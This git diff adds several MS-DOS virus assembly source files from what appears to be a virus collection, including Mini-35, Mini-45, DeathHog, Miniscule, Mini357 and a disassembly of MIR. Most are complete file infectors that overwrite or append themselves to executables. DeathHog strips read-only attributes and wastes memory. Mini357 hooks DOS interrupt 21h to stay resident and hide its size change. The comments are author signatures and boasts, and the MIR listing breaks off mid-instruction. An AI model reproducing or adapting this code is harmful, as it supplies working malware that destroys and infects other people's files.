at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mini-35.asm b/MSDOS/Virus.MSDOS.Unknown.mini-35.asm new file mode 100644 index 00000000..f5428b3a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mini-35.asm @@ -0,0 +1,59 @@ +; MINI-35 is Copyright (C) by Line Noise 1992... +; You are allowed to use this code in your own +; programs if you want, you are allowed to +; give this source away, sell it or whatever... +; None of the members of Line Noise should be held +; responsible for the consequences of the use +; of this program.... +; Use this program at your own risk... +; Iow if you use this code, you agree with the above... +; The MINI-35 is based upon the MINI-45 from bulgaria(?). +; If anybody manages to shrink the code even more then +; leave me(Dark Wolf) a message at your nearest Virus BBS... +; +; Greetings from Dark Wolf/Line Noise + + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +MINI PROC + +START: + MOV AH,4Eh + MOV DX,OFFSET FMATCH ;address to file match + INT 21h ;DOS int, ah=function 4Eh + ;find 1st filenam match@DS:DX + MOV AX,3D02h ;02=for read & write... + MOV DX,9Eh ;address to filename... + INT 21h ;DOS Services ah=function 3Dh + ;open file, AL=mode,name@DS:DX + XCHG AX,BX ;BX = handle now + MOV DX,100h + MOV AH,40h ;Function 40h, write file + MOV CL,35 ;number of bytes to write + INT 21h ;CX=bytes, to DS:DX + ;BX=file handle + + MOV AH,3Eh ;function 3Eh, close file + INT 21h ;BX=file handle + + RETN + +FMATCH: DB '*.C*',0 ;The virus didn't want to + ;work when I changed this + ;to *.* or *... + ;WHY NOT?! Anybody gotta + ;hint on this?! + +MINI ENDP + +SEG_A ENDS + + + + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mini-42b.asm b/MSDOS/Virus.MSDOS.Unknown.mini-42b.asm new file mode 100644 index 00000000..ea72c4e6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mini-42b.asm @@ -0,0 +1,42 @@ +.model tiny ;Sets memory model for TASM +.radix 16 ;Sets default number system to hexidecimal (base 16) +.code ;starts code section + + org 100 ;makes program begin at 100h, i.e. a .COM file + +start: ;beginning label + + mov ah,4e ;set ah to 4e, sets function called by int 21 + ;to find first match + mov dx,offset file_mask ;sets search to look for *.com + + search: + int 21 ;executes find first match function + jc quit ;if there aren't any files, ends + + + mov ax,3d02 ;open file read/write mode + mov dx,9e ;pointer to name found by findfirst + int 21 + + xchg ax,bx ;moves file handle to bx from ax + mov ah,40 ;sets ah to write to file function + mov cl,[ender-start] ;overwrites file + mov dx,100 ;starting address for coms, write from + int 21 ;beginning of virus + + + mov ah,3e + int 21 ;closes file handle + + mov ah,4f + jmp short search ;jumps back set to find next + + quit: + int 20 ;ends program + +file_mask db '*.c*',0 ;file mask to match to programs + +ender: ;label for size calculation + +end start ;end of code diff --git a/MSDOS/Virus.MSDOS.Unknown.mini-45.asm b/MSDOS/Virus.MSDOS.Unknown.mini-45.asm new file mode 100644 index 00000000..11f3da67 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mini-45.asm @@ -0,0 +1,50 @@ +;*************************************************************** +; DISASSEMBLY of the MINI-45 VIRUS +;*************************************************************** +; FIND .COM FILE TO INFECT +;*************************************************************** + MOV DX, 127h ;filehandle search criteria-27bytes + ;away from beg. of file + MOV AH, 4Eh ;setup for Dos function-find file + INT 21h ;search for first file match + JB FILESPEC ;jump below and return +;**************************************************************** +; OPEN FILE +;**************************************************************** +FIRST_FILE: + MOV DX, 009Eh ;pointer to asciiz file spec + MOV AX, 3D02h ;moving 3d into ah=call dos to open file + ;moving 02 into al=we want read\write + ;access + INT 21h ;call dos function and open file. + ;file handle found is put in ax register + JB NEXT_MATCH ;search for next match +;**************************************************************** +; WRITE VIRUS CODE TO FILE +;**************************************************************** + XCHG AX,BX ;put retrieved file handle from 3d open + ;call into bx so it can be used for + ;write function. + MOV DX, 0100h ;point to buffer of data to write, i.e. + ;to myself + MOV CX, 002Dh ;#of bytes to write. 45d bytes + MOV AH, 40h ;setup write to file dos function + INT 21h ;write to file indicated in bx +;****************************************************************** +; CLOSE FILE +;****************************************************************** + MOV AH, 3Eh ;setup for dos function to close file + INT 21h ;close file +;****************************************************************** +; FIND NEXT FILE MATCH +;****************************************************************** +NEXT MATCH: + MOV AH, 4Fh ;search for next file match + JMP FIRST_FILE ;return above +;****************************************************************** +; +FILESPEC: + db '*.com' + db 00 + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mini-68.asm b/MSDOS/Virus.MSDOS.Unknown.mini-68.asm new file mode 100644 index 00000000..085f54c1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mini-68.asm @@ -0,0 +1,64 @@ +; DeathHog, (will defeat read-only files and appends itself to all +; files) +; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ +; r/w access, nuisance routines supplied by KOUCH +; +; Appended by Kouch, derived from DeathCow/Define (author unknown) + + +virus_length equ finish - start + + code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + + org 0100h + +start label near + +main proc near + mov ah,04Eh ; DOS find first file function + mov dx,offset file_spec ; DX points to "*.*" - any file + int 021h + +infect_file : mov ah,43H ;the beginning of this + mov al,0 ;routine gets the file's + mov dx,09Eh ;attribute and changes it + int 21H ;to r/w access so that when + ;it comes time to open the + mov ah,43H ;file, the virus can easily + mov al,1 ;defeat files with a 'read only' + mov dx,09Eh ;attribute. It leaves the file r/w, + mov cl,0 ;because who checks that, anyway? + int 21H + + mov ax,03D01h ; DOS open file function, write-only + mov dx,09Eh ; DX points to the found file + int 021h + + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cl,virus_length ; CL holds # of bytes to write + mov dx,offset main ; DX points to start of code + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ah,04Fh ; DOS find next file function + int 021h + jnc infect_file ; Infect next file, if found + + mov ah,31h ;insert 480K memory balloon + mov dx,7530h ;for nuisance value + int 21H ;it's big enough so 'out of + ;memory' messages will start cropping up quickly + ; RETurn to DOS + +file_spec db "*.*",0 ; Files to infect: apped to all files +main endp + +finish label near + + code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.mini111.asm b/MSDOS/Virus.MSDOS.Unknown.mini111.asm new file mode 100644 index 00000000..c6128896 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mini111.asm @@ -0,0 +1,113 @@ +;**************************************************************************** +;* Mini non-resident virus +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + + .RADIX 16 + +FILELEN equ eind - start +FILNAM equ 69 + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + + org 100h + +begin: db 4Dh + db 0E9, 4, 0 + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + + +start: db 0CDh, 20h, 0, 0 + + push si ;si=0100 + + mov di,si + add si,[si+2] ;si=0104 + push si + movsw + movsw + pop si ;si -> start (buffer) + + mov dh,0FF ;set DTA to FF80 + call setDTA + + lea dx,[si+FILNAM] ;dx -> filename + mov ah,4Eh ;find first file +infloop: int 21 + cwd ;set DTA to 0080 and quit + jc setDTA + + mov dx,0FF9Eh + mov ax,3D02h ;open the file + call int21 + jc exit1 + xchg bx,ax + + mov ah,3fh ;read begin of file + int 21 + + cmp byte ptr [si],4Dh ;EXE or infected COM? + je exit2 + + mov al,2 ;go to end of file + call seek + xchg ax,di + + mov cl,FILELEN ;write program to end of file + mov ah,40h + int 21 + + mov al,0 + call seek + mov word ptr [si],0E94Dh + mov word ptr [si+2],di + + + mov ah,40h + int 21 + +exit2: mov ah,3Eh ;close the file + int 21 + +exit1: mov ah,4Fh ;find next file + jmp short infloop + +setDTA: mov dl,80 + mov ah,1A + int 21 + ret + +seek: mov ah,42 + cwd +int21: xor cx,cx + int 21 + mov cl,04 + mov dx,si + +return: ret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +filename db '*.COM',0 + +eind: + +cseg ends + end begin + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.mini357.asm b/MSDOS/Virus.MSDOS.Unknown.mini357.asm new file mode 100644 index 00000000..2e1c7858 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mini357.asm @@ -0,0 +1,187 @@ +; +; +; + org 100h + +ofs: + push 100h + push ax + push ds + push es + mov dx,054h-(ofs/16) + mov es,dx + mov ax,es:ofs[0] + cmp ax,ofs[0] + je to_host + + lea si,ofs + mov di,si + mov cx,virlength + rep movsb + + mov ds,es + mov ax,3521h + int 21h + mov word ptr ds:old21[0],bx + mov word ptr ds:old21[2],es + + mov ax,2521h + lea dx,new21 + int 21h + +to_host: pop es + pop ds + mov di,0fe00h + lea si,relocator + mov cx,rellength + rep movsb + jmp 0fe00h + +old21 dd 0 + +relocator: + mov di,100h +orgofs: lea si,orgp + mov cx,virlength + rep movsb + pop ax + ret + +rellength equ $-relocator + +new21: + cmp ah,11h + je findfcb + cmp ah,12h + je findfcb + cmp ah,4eh + je find + cmp ah,4fh + je find + cmp ax,4b00h + je exec + + jmp short dword ptr cs:[old21] + +getdta: + pop si + pushf + push ax + push bx + push es + mov ah,2fh + call dos + jmp short si + +FindFCB: call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + call getdta + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],Virlength ; adjust file-size + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS + jc Ret1 + call getdta + mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ah],VirLength + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h +FileOk: pop es + pop bx + pop ax + popf +Ret1: retf 2 + +exec: push ax + push bx + push cx + push dx + push ds + push es + mov ax,3d02h + call dos + mov bx,0bc00h + mov ds,bx + mov bh,3fh + xchg ax,bx + xor dx,dx + mov cx,virlength + call dos + cmp word ptr ds:[0],'ZM' + je exe + cmp word ptr ds:[0],0068h ; push 100 + jne noexe +exe: mov ah,3eh + call dos + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + jmp short dword ptr cs:[old21] + +noexe: mov ax,4202h + xor cx,cx + xor dx,dx + call dos + cmp ax,0fd00h + jae exe + cmp ax,virlength+10 + jb exe + inc ah + mov word ptr cs:orgofs[1],ax + + mov ax,5700h + call dos + or cx,1fh + push cx + push dx + + mov ah,40h + xor dx,dx + mov cx,virlength + push cx + call dos + + mov ax,4200h + xor cx,cx + xor dx,dx + call dos + + mov ah,40h + mov ds,cs + lea dx,ofs + pop cx + call dos + mov ax,5701h + pop dx + pop cx + call dos + + jmp short exe + +dos: pushf + call dword ptr cs:[old21] + ret + +virlength equ $-ofs + +orgp: int 20h + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.mini91.asm b/MSDOS/Virus.MSDOS.Unknown.mini91.asm new file mode 100644 index 00000000..c21ac6d0 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mini91.asm @@ -0,0 +1,100 @@ +;**************************************************************************** +;* Mini non-resident virus +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + + .RADIX 16 + +FILELEN equ end - start +FILNAM equ 55h + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + + org 100h + +begin: db 0E9, 3, 0 + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + + +start: db 0CDh, 20h, 90 + + push si ;si=0100 + + mov di,si + add si,[si+1] ;si=0103 + push si + movsw + movsb + pop si ;si -> start (buffer) + + lea dx,[si+FILNAM] ;dx -> filename + mov ah,4Eh ;find first file + int 21 + + mov dx,009Eh + mov ax,3D02h ;open the file + call int21 + jc exit1 + xchg bx,ax + + mov ah,3fh ;read begin of file + int 21 + + cmp byte ptr [si],0E9h ;infected COM? + je exit2 + + mov al,2 ;go to end of file + call seek + xchg ax,di + + mov cl, low FILELEN ;write program to end of file + mov ah,40h + int 21 + + mov al,0 + call seek + mov byte ptr [si], 0E9h + mov word ptr [si+1], di + + mov ah,40h + int 21 + +exit2: mov ah,3Eh ;close the file + int 21 + +exit1: ret + +seek: mov ah,42 + cwd +int21: xor cx,cx + int 21 + mov cl,03 + mov dx,si + +return: ret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +filename db '*.COM',0 + +end: + +cseg ends + end begin + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.mini98.asm b/MSDOS/Virus.MSDOS.Unknown.mini98.asm new file mode 100644 index 00000000..72b0d813 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mini98.asm @@ -0,0 +1,104 @@ +;**************************************************************************** +;* Mini non-resident virus +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + + .RADIX 16 + +FILELEN equ end - start +FILNAM equ 5C + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + + org 100h + +begin: db 4Dh + db 0E9, 4, 0 + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + + +start: db 0CDh, 20h, 0, 0 + + push si ;si=0100 + + mov di,si + add si,[si+2] ;si=0104 + push si + movsw + movsw + pop si ;si -> start (buffer) + + lea dx,[si+FILNAM] ;dx -> filename + mov ah,4Eh ;find first file +infloop: int 21 + jc return + + mov dx,009Eh + mov ax,3D02h ;open the file + call int21 + jc exit1 + xchg bx,ax + + mov ah,3fh ;read begin of file + int 21 + + cmp byte ptr [si],4Dh ;EXE or infected COM? + je exit2 + + mov al,2 ;go to end of file + call seek + xchg ax,di + + mov cl,low FILELEN ;write program to end of file + mov ah,40h + int 21 + + mov al,0 + call seek + mov word ptr [si],0E94Dh + mov word ptr [si+2],di + + + mov ah,40h + int 21 + +exit2: mov ah,3Eh ;close the file + int 21 + +exit1: mov ah,4Fh ;find next file + jmp short infloop + +seek: mov ah,42 + cwd +int21: xor cx,cx + int 21 + mov cl,04 + mov dx,si + +return: ret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +filename db '*.COM',0 + +end: + +cseg ends + end begin + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.mini99.asm b/MSDOS/Virus.MSDOS.Unknown.mini99.asm new file mode 100644 index 00000000..1e07ba2a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mini99.asm @@ -0,0 +1,104 @@ +;**************************************************************************** +;* Mini non-resident virus +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + + .RADIX 16 + +FILELEN equ end - start +FILNAM equ 5Dh + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + + org 100h + +begin: db 4Dh + db 0E9, 4, 0 + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + + +start: db 0CDh, 20h, 0, 0 + + push si ;si=0100 + + mov di,si + add si,[si+2] ;si=0104 + push si + movsw + movsw + pop si ;si -> start (buffer) + + lea dx,[si+FILNAM] ;dx -> filename + mov ah,4Eh ;find first file +infloop: int 21 + jc return + + mov dx,009Eh + mov ax,3D02h ;open the file + call int21 + jc exit1 + xchg bx,ax + + mov ah,3fh ;read begin of file + int 21 + + cmp byte ptr [si],4Dh ;EXE or infected COM? + je exit2 + + mov al,2 ;go to end of file + call seek + xchg ax,di + + mov cx,FILELEN ;write program to end of file + mov ah,40h + int 21 + + mov al,0 + call seek + mov word ptr [si],0E94Dh + mov word ptr [si+2],di + + + mov ah,40h + int 21 + +exit2: mov ah,3Eh ;close the file + int 21 + +exit1: mov ah,4Fh ;find next file + jmp short infloop + +seek: mov ah,42 + cwd +int21: xor cx,cx + int 21 + mov cl,04 + mov dx,si + +return: ret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +filename db '*.COM',0 + +end: + +cseg ends + end begin + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.miniscul.asm b/MSDOS/Virus.MSDOS.Unknown.miniscul.asm new file mode 100644 index 00000000..0853d93e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.miniscul.asm @@ -0,0 +1,77 @@ +; Miniscule: the world's smallest generic virus (only 31 bytes long!) +; (C) 1992 Nowhere Man and [NuKE] WaReZ +; Written on January 22, 1991 + +code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + + org 0100h + +main proc near + + +; Find the name of the first file and return it in the DTA. No checking +; is done for previous infections, and ANY file (except directory "files") +; will be infected, including data, texts, etc. So either a file is corrupted +; (in the case of data or text) or infected (.EXE and .COM files). Files that +; have the read-only flag set are immune to Miniscule. + + mov ah,04Eh ; DOS find first file function + mov cl,020h ; CX holds attribute mask + mov dx,offset star_dot_com ; DX points to the file mask + int 021h + + +; Open the file that we've found for writing only and put the handle into +; BX (DOS stupidly returns the file handle in AX, but all other DOS functions +; require it to be in AX, so we have to move it). + + mov ax,03D01h ; DOS open file function, w/o + mov dx,009Eh ; DX points to the found file + int 021h + + xchg bx,ax ; BX holds the file handle + + +; Write the virus to the file. The first 31 bytes at offset 0100h (ie: the +; virus) are written into the beginning of the victim. No attempt is made +; to preserve the victim's executability. This also destroys the file's date +; and time, making Miniscule's activity painfully obvious. Also, if the +; victim is smaller than 31 bytes (rare), then it will grow to exactly 31. + + mov ah,040h ; DOS write to file function + dec cx ; CX now holds 01Fh (length) + mov dx,offset main ; DX points to start of code + int 021h + + +; Exit. I chose to use a RET statement here to save one byte (RET is one byte +; long, INT 020h is two), so don't try to compile this as an .EXE file; it +; will crash, as only .COMs RETurn correctly (DOS again). However INFECTED +; .EXE programs will run successfully (unless they are larger than 64k, in +; which case DOS will refuse to run it. + + ret ; RETurn to DOS +main endp + + +; The only data required in this program, and it's only four bytes long. This +; is the file mask that the DOS find first file function will use when +; searching. Do not change this to .EXE (or whatever) because this virus +; is size dependent (if you know what you're doing, go ahead [at you're own +; risk]). + +star_dot_com db "*.*",0 ; File search mask + +finish label near + +code ends + end main + +; There you have it: thirty-one bytes of pure terror -- NOT! As you can +; pretty well guess, this virus is very lame. Due to its poor reproduction, +; it is hardly a threat (hitting one file, if you're lucky), but it works, +; and it fits the definition of a virus. There is no way to make this code +; any smaller (at least under MS-DOS), except if you made it only infect +; one specific file (and the file would have to have a one- or two-byte name, +; too), and that would be next to useless. \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mir.asm b/MSDOS/Virus.MSDOS.Unknown.mir.asm new file mode 100644 index 00000000..2aa5f902 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mir.asm @@ -0,0 +1,830 @@ +; File: MIR.COM +; File Type: COM +; Processor: 8086/87/88 +; Range: 00100h to 007d3h +; Memory Needed: 2 Kb +; Initial Stack: 0000:fffe +; Entry Point: 0000:0100 +; Subroutines: 11 + +.radix 16 +cseg segment para public 'CODE' + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + org 0100h +; >>>> starts execution here <<<< +o00100 proc far +;----------------------------------------------------- +o00100 db 'M.' ;0000:0100 +d00102 db 'I.R.' ;0000:0102 +d00106 db ' *-*-*-* Sign of the ' ;0000:0106 + db 'time!' ;0000:011b + db 00 ;0000:0120 . +;----------------------------------------------------- + nop + nop + nop + nop + pop dx +m00126: mov bx,es + add bx,10h + add bx,WORD PTR cs:[si+06c8h] + mov WORD PTR cs:[si+0053h],bx + mov bx,WORD PTR cs:[si+06c6h] + mov WORD PTR cs:[si+0051h],bx + mov bx,es + add bx,10h + add bx,WORD PTR cs:[si+06cch] + mov ss,bx + mov sp,WORD PTR cs:[si+06cah] + jmp 0000:0000 +m00155: mov di,0100h + add si,06ceh + movsb ;Mov DS:[SI]->ES:[DI] + movsw ;Mov DS:[SI]->ES:[DI] + mov sp,WORD PTR [d00006] + xor bx,bx ;Load register w/ 0 + push bx + jmp WORD PTR [si-0bh] + call s1 ;<0016b> +o00100 endp + +;<0016b> +s1 proc near + pop si + sub si,006bh + cld ;Forward String Opers + nop + cmp WORD PTR cs:[si+06ceh],5a4dh + jz b0018b ;Jump if equal (ZF=1) + cli ;Turn OFF Interrupts + nop + mov sp,si + add sp,07d1h + sti ;Turn ON Interrupts + nop + cmp sp,WORD PTR [d00006] + jnb m00155 ;Jump if >= (no sign) +b0018b: push ax + push es + nop + push si + push ds + mov di,si + xor ax,ax ;Load register w/ 0 + nop + push ax + mov ds,ax + les ax,DWORD PTR [d0004c] + nop + mov WORD PTR cs:[si+06bdh],ax + mov WORD PTR cs:[si+06bfh],es + mov WORD PTR cs:[si+06b8h],ax + nop + mov WORD PTR cs:[si+06bah],es + mov ax,WORD PTR [d00102] + cmp ax,0f000h + nop + jnz b00235 ;Jump not equal(ZF=0) + mov WORD PTR cs:[si+06bah],ax + mov ax,WORD PTR [o00100] + mov WORD PTR cs:[si+06b8h],ax + nop + mov dl,80h + mov ax,WORD PTR [d00106] + cmp ax,0f000h + jz b001f2 ;Jump if equal (ZF=1) + nop + cmp ah,0c8h + jb b00235 ;Jump if < (no sign) + cmp ah,0f4h + jnb b00235 ;Jump if >= (no sign) + nop + test al,7fh ;Flags=Arg1 AND Arg2 + jnz b00235 ;Jump not equal(ZF=0) + mov ds,ax + cmp WORD PTR [d00000],0aa55h + nop + jnz b00235 ;Jump not equal(ZF=0) + mov dl,BYTE PTR [d00002] +b001f2: mov ds,ax + xor dh,dh ;Load register w/ 0 + mov cl,09 + shl dx,cl ;Multiply by 2's + mov cx,dx + xor si,si ;Load register w/ 0 +b001fe: lodsw ;Load AX with DS:[SI] + cmp ax,0fa80h + jnz b0020c ;Jump not equal(ZF=0) + lodsw ;Load AX with DS:[SI] + cmp ax,7380h + jz b00217 ;Jump if equal (ZF=1) + jnz b00221 ;Jump not equal(ZF=0) +b0020c: cmp ax,0c2f6h + jnz b00223 ;Jump not equal(ZF=0) + lodsw ;Load AX with DS:[SI] + cmp ax,7580h + jnz b00221 ;Jump not equal(ZF=0) +b00217: inc si + lodsw ;Load AX with DS:[SI] + cmp ax,40cdh + jz b00228 ;Jump if equal (ZF=1) + sub si,03 +b00221: dec si + dec si +b00223: dec si + loop b001fe ;Dec CX;Loop if CX>0 + jmp short b00235 +b00228: sub si,07 + mov WORD PTR cs:[di+06bdh],si + mov WORD PTR cs:[di+06bfh],ds +b00235: mov si,di + pop ds + push cs + pop ds + cmp ax,02fah + jnz b0025c ;Jump not equal(ZF=0) + xor di,di ;Load register w/ 0 + mov cx,06b8h +b00252: lodsb ;Load AL with DS:[SI] + scasb ;Flags = AL - ES:[DI] + jnz b0025c ;Jump not equal(ZF=0) + loop b00252 ;Dec CX;Loop if CX>0 + pop es + jmp m002e9 +b0025c: pop es + mov ah,49h + int 21h ;undefined + mov bx,0ffffh + mov ah,48h + int 21h ;undefined + sub bx,00e0h + jb m002e9 ;Jump if < (no sign) + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h ;undefined + mov bx,00dfh + stc + sbb WORD PTR es:[d00002],bx + push es + mov es,cx + mov ah,4ah + int 21h ;undefined + mov ax,es + dec ax + mov ds,ax + mov WORD PTR [d00001],0008h + call s11 ;<007a7> + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call s11 ;<007a7> + add ax,WORD PTR [d00006] + adc dx,00 + sub ax,bx + sbb dx,cx + jb b002b0 ;Jump if < (no sign) + sub WORD PTR [d00006],ax +b002b0: pop si + push si + push ds + push cs + xor di,di ;Load register w/ 0 + mov ds,di + lds ax,DWORD PTR [d0009c] + mov WORD PTR cs:[si+0714h],ax + mov WORD PTR cs:[si+0716h],ds + pop ds + mov cx,071ch + repz movsb ;Mov DS:[SI]->ES:[DI] + xor ax,ax ;Load register w/ 0 + mov ds,ax + pop es +m002e9: pop si + xor ax,ax ;Load register w/ 0 + mov ds,ax + mov ax,WORD PTR [d0004c] + mov WORD PTR cs:[si+06c2h],ax + mov ax,WORD PTR [d0004e] + mov WORD PTR cs:[si+06c4h],ax + mov WORD PTR [d0004c],06adh + add WORD PTR [d0004c],si + mov WORD PTR [d0004e],cs + pop ds + push ds + push si + mov bx,si + lds ax,DWORD PTR [d0002a] + xor si,si ;Load register w/ 0 + mov dx,si +b00319: lodsw ;Load AX with DS:[SI] + dec si + test ax,ax ;Flags=Arg1 AND Arg2 + jnz b00319 ;Jump not equal(ZF=0) + add si,03 + lodsb ;Load AL with DS:[SI] + sub al,41h + mov cx,0001h + push cs + pop ds + add bx,02b5h + push ax + push bx + push cx + int 25h ;undefined + pop ax + pop cx + pop bx + inc BYTE PTR [bx+0ah] + and BYTE PTR [bx+0ah],0fh + jnz b00372 ;Jump not equal(ZF=0) + mov al,BYTE PTR [bx+10h] + xor ah,ah ;Load register w/ 0 + mul WORD PTR [bx+16h] + add ax,WORD PTR [bx+0eh] + push ax + mov ax,WORD PTR [bx+11h] + mov dx,0020h + mul dx + div WORD 